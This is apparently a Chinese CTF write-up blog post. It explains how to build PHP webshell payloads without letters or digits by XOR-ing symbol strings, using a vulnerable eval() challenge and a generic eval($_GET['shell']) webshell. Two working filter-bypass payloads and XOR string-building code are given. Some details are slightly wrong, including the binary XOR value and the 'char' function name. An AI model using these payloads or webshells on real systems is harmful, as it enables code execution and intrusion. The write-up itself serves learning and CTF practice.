一些不包含数字和字母的webshell之方法一

最新推荐文章于 2024-08-13 15:12:38 发布

Limerence98

最新推荐文章于 2024-08-13 15:12:38 发布

阅读量2.4k

点赞数 2

分类专栏：代码审计

本文链接：https://blog.csdn.net/weixin_42815001/article/details/81515427

版权

代码审计专栏收录该内容

1 篇文章 0 订阅

订阅专栏

昨天在做题的时候遇到了这样一道题

<?php
include 'flag.php';
if(isset($_GET['t'])){
    $_COOKIE['bash_token'] = $_GET['t'];
}else{
    die("Token Lost.");
}
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>50){
        die("Too Long.");
    }
    if(preg_match("/[A-Za-z0-9_]+/",$code)){
        die("Not Allowed.");
    }
    //pre_match（code长度很长可以绕过）
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

payloadone

?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

#构造一个变量_ 变量的值为_GET 执行$_GET[_]($_GET[__])

payload two

?code=${"!"^"~"}="]%];,<<"^":@)}@][";${"!"^"~"}();

#构造一个变量_ 变量的值为 getFlag 执行 _();
总的来说，是要传进去两个参数t和code 会执行 @eval($code) 但是code限制了传进去的长度不能超过50，而且会进行正则匹配 pre_match() #pre_match()可通过长度过长来绕过
这里正则匹配禁用了大写A-Z，小写A-Z,数字0-9，以及下划线_, 我们看到可以通过调用getFLAG来得到flag
跟P牛所写的一些不包含数字和字母的webshell 原理相同

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
  eval($_GET['shell']);}
?>

思路

首先思路明确，我们是要用非字母、数字的字符经过各种变化，最后能构造出我们所需要的字符，然后利用php允许动态函数执行的特点，拼接一个函数名

方法一

在php中，两个字符串执行异或操作后，得到的还是一个字符串，我们想到可以用两个非字母、数字的字符，他们异或得到我们所需要的字母。
这里我们先了解一下异或(^)的概念
异或两个字母首先把他们转化成ASCII码值这里有python的两个函数特别好用
ord(“A”) 字母转ASCII char(65) ASCII转字母

比如像这个例子
A的ASCII值是65，对应的二进制值是01000001
?的ASCII值是63，对应的二进制值是00111111
异或的二进制的值是10000000，对应的ASCII值是126，对应的字符串的值就是~了

for i in range(58,65):
    a.append(i)
for i in range(91,97):
    a.append(i)
for i in range(123,128):
    a.append(i)
#print (a)
for i  in a:
    for j in a:
    if chr(i^j) in string.printable:
                    print("i="+chr(i)+" j="+chr(j)+" i^j="+chr(i^j))

可以利用特殊字符异或得出可见字母
若有一个字符串，我们可以利用批量异或这个是我自个创造的，也就是这样

得到_POST的两种方法：

echo    $___="#./|{"^"|~`//";

echo     $__=("#"^"|"); // $__ = _
echo     $__.=("."^"~"); // _P
echo    $__.=("/"^"`"); // _PO
echo    $__.=("|"^"/"); // _POS
echo    $__.=("{"^"/"); // _POST
// .= 是字符串的连接